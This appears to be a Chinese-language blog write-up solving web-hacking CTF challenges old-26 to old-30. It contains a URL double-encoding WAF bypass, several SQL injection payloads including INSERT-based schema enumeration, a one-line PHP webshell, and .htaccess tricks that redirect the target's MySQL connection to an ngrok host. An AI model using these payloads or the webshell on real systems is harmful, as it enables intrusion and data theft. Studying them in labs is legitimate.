Albert Huang
MED student | CS enthusiast
old-26
本題考點:雙重 urlencode()、WAF 繞過
來看一下 source code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 26 </title> <style type="text/css" > body { background:black; color:white; font-size:10 pt; } a { color:lightgreen; } </style> </head> <body> <?php if (preg_match ("/admin/" ,$_GET ['id' ])) { echo "no!" ; exit (); } $_GET ['id' ] = urldecode ($_GET ['id' ]); if ($_GET ['id' ] == "admin" ){ solve (26 ); } ?> <br><br> <a href=?view_source=1 >view-source</a> </body> </html>
目標很明確,要讓 id=admin,但 regex 禁止直接指定 id=admin。不過在比對完 regex 之後,他還會再進行一次 urldecode,因此我們可以讓 admin urlencode 兩次後送到 id 裡面,這樣經過瀏覽器和程式兩次 urldecode 之後,最後出來的結果就會是 admin。
使用 Python 實作:
1 2 3 4 5 6 7 8 def urlencode (text ): encoded_text = "" for char in text: encoded_text += f"%{hex (ord (char))[2 :]} " return encoded_text id = 'admin' print (urlencode(urlencode(id )))
old-27
又來到了 SQLi 的時間,這次有給 source code,來看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "../../config.php" ; if ($_GET ['view_source' ]) view_source (); ?> <html><head> <title>Challenge 27 </title> </head> <body> <h1>SQL INJECTION</h1> <form method=get action=index.php> <input type=text name=no><input type=submit> </form> <?php if ($_GET ['no' ]){ $db = dbconnect (); if (preg_match ("/#|select|\(| |limit|=|0x/i" ,$_GET ['no' ])) exit ("no hack" ); $r =mysqli_fetch_array (mysqli_query ($db ,"select id from chall27 where id='guest' and no=({$_GET['no']} )" )) or die ("query error" ); if ($r ['id' ]=="guest" ) echo ("guest" ); if ($r ['id' ]=="admin" ) solve (27 ); } ?> <br><a href=?view_source=1 >view-source</a> </body> </html>
先來看一下他的 regex 限制了什麼:
#、(、 、=
select、limit、0x (case sensitive)
然後來看一下他的表達式:
1 select id from chall27 where id= 'guest' and no = ({$_GET['no' ]})
因為它限制了 ( 的使用,因此我們無法直接將括號閉合,但可以嘗試使用 -- 的註解方式直接繞過,並且直接省略需要括號的 no,嘗試構造以下 payload(將空白置換為 tab %09):
1 select id from chall27 where id='guest' and no=(2) or id like 'admin' -- )
old-28
本題考點:webshell upload、.htaccess 覆蓋 Apache 行為
進到題目之後直接說明題目重點:
1 2 Mission : read ./upload/l23JEe5A0D8T/flag.php your file will be upload at ./upload/l23JEe5A0D8T/
可能要上傳 shell 的題目,製作一個 shell.php 如下:
1 2 3 <?php system ($_GET ['cmd' ]); ?>
但上傳之後發現開頭的 < 會被擋掉,因此不會被作為 php 執行,但直接讀 flag.php 也會因為可執行 php 而讀不到東西。
上網查詢之後發現可以透過上傳 .htaccess 來讓自動執行 php 關閉,就可讀到檔案內容,設定如下:
上傳後再次訪問 flag.php 即可看到 php 內容。
old-29
本題考點:Blind SQLi with INSERT
根據提示:
1 2 NOTICE FLAG is in another table.
所以這題應該也是 SQLi,下面有一個表格用來記錄上傳,上傳一個檔案然後用 BurpSuite 看一下:
1 2 3 4 ... ------WebKitFormBoundarypz4VAfCYKpLwYRJs Content-Disposition: form-data; name="upfile"; filename="test.txt" ...
我們可控的部分只有 filename,而最常用來輸入表格的方式就是 INSERT,因此可能是如 INSERT INTO chall29(time, ip, file) values ('a', 'b', 'c') 的形式,不過因為有三個欄位,並不確定 filename 位於第幾欄,因此透過以下情況測試:
1 2 3 4 5 6 time, ip, file -> 123')# -> X ip, time, file -> 123')# -> X time, file, ip -> 123', '<ip>')# -> X ip, file, time -> 123', 456)# -> X file, ip, time -> 123', '<ip>', 789)# -> X file, time, ip -> 123', 456, '<ip>')# -> O
在確定欄位之後,就可以在 file 的地方進行一些 SQLi 了,首先是 database 名稱:
1 123', 456, '<ip>'), ((SELECT database()), 0, '<ip>')#
接著是 table 跟 column:
1 2 123', 456, '<ip>'), ((SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='<database>'), 0, '<ip>')# 123', 456, '<ip>'), ((SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='<table>'), 0, '<ip>')#
最後拿到 flag 即可。
old-30
本題考點:PHP mysqli_connect() 缺省參數漏洞、Remote Database Hijacking
給了一個上傳檔案的地方,一樣先來看一下 source code:
1 2 3 4 5 6 7 8 9 <?php if ($_GET ['view_source' ]) highlight_file (__FILE__ ); $db = mysqli_connect () or die (); mysqli_select_db ($db ,"chall30" ) or die (); $result = mysqli_fetch_array (mysqli_query ($db ,"select flag from chall30_answer" )) or die (); if ($result [0 ]){ include "/flag" ; } ?>
我們的目標是讓連線時可以找到 database 和 flag 的內容,而網站上的資料庫並沒有這些內容。不過可以發現它在連接到 mysql 的時候並沒有指定參數,因此會採用預設參數,我們來翻一下 manual 看看這些參數可以設定在哪裡:
1 2 3 4 5 mysqli.default_port "3306" INI_ALL mysqli.default_socket NULL INI_ALL mysqli.default_host NULL INI_ALL mysqli.default_user NULL INI_ALL 自PHP 5.0.0起可用。 mysqli.default_pw NULL INI_ALL
1 2 3 4 INI_USER ( int ) 可以在使用者腳本(如使用ini_set())或Windows 註冊表中設定條目。可以在.user.ini設定條目 INI_PERDIR ( int ) 可以在php.ini、.htaccess、httpd.conf或.user.ini設定條目 INI_SYSTEM ( int ) 可以在php.ini或httpd.conf中設定條目 INI_ALL ( int ) 條目可以設定在任何地方
好的,看來我們可以將它設定在任何地方,那我們就將我們的參數設定在 .htaccess 裡,然後嘗試讓這個網站連接到我們自己的 mysql 並達成條件。
首先設定自己本機上的 mysql:
1 2 3 4 5 6 7 8 9 10 11 12 mysql> create database chall30; Query OK, 1 row affected (0.01 sec) mysql> use chall30; Database changed mysql> create table chall30_answer( -> flag int -> ); Query OK, 0 rows affected (0.02 sec) mysql> insert into chall30_answer values('123456'); Query OK, 1 row affected (0.01 sec)
這樣就符合題目的要求了,接著使用 ngrok 轉送 3306 port 讓網站也能連到,並且設定 .htaccess:
1 2 3 4 php_value mysqli.default_port "15105" php_value mysqli.default_host "0.tcp.jp.ngrok.io" php_value mysqli.default_user "m3t30r" php_value mysqli.default_pw "m3t30r"
接著設定權限讓網站也讀得到內容:
1 2 3 4 5 mysql> CREATE USER 'm3t30r'@'localhost' IDENTIFIED BY 'm3t30r'; Query OK, 0 rows affected (0.01 sec) mysql> GRANT ALL PRIVILEGES ON chall30.* TO 'm3t30r'@'localhost'; Query OK, 0 rows affected (0.00 sec)
接著去訪問 upload 裡面的 index.php 就可以拿到 flag 了。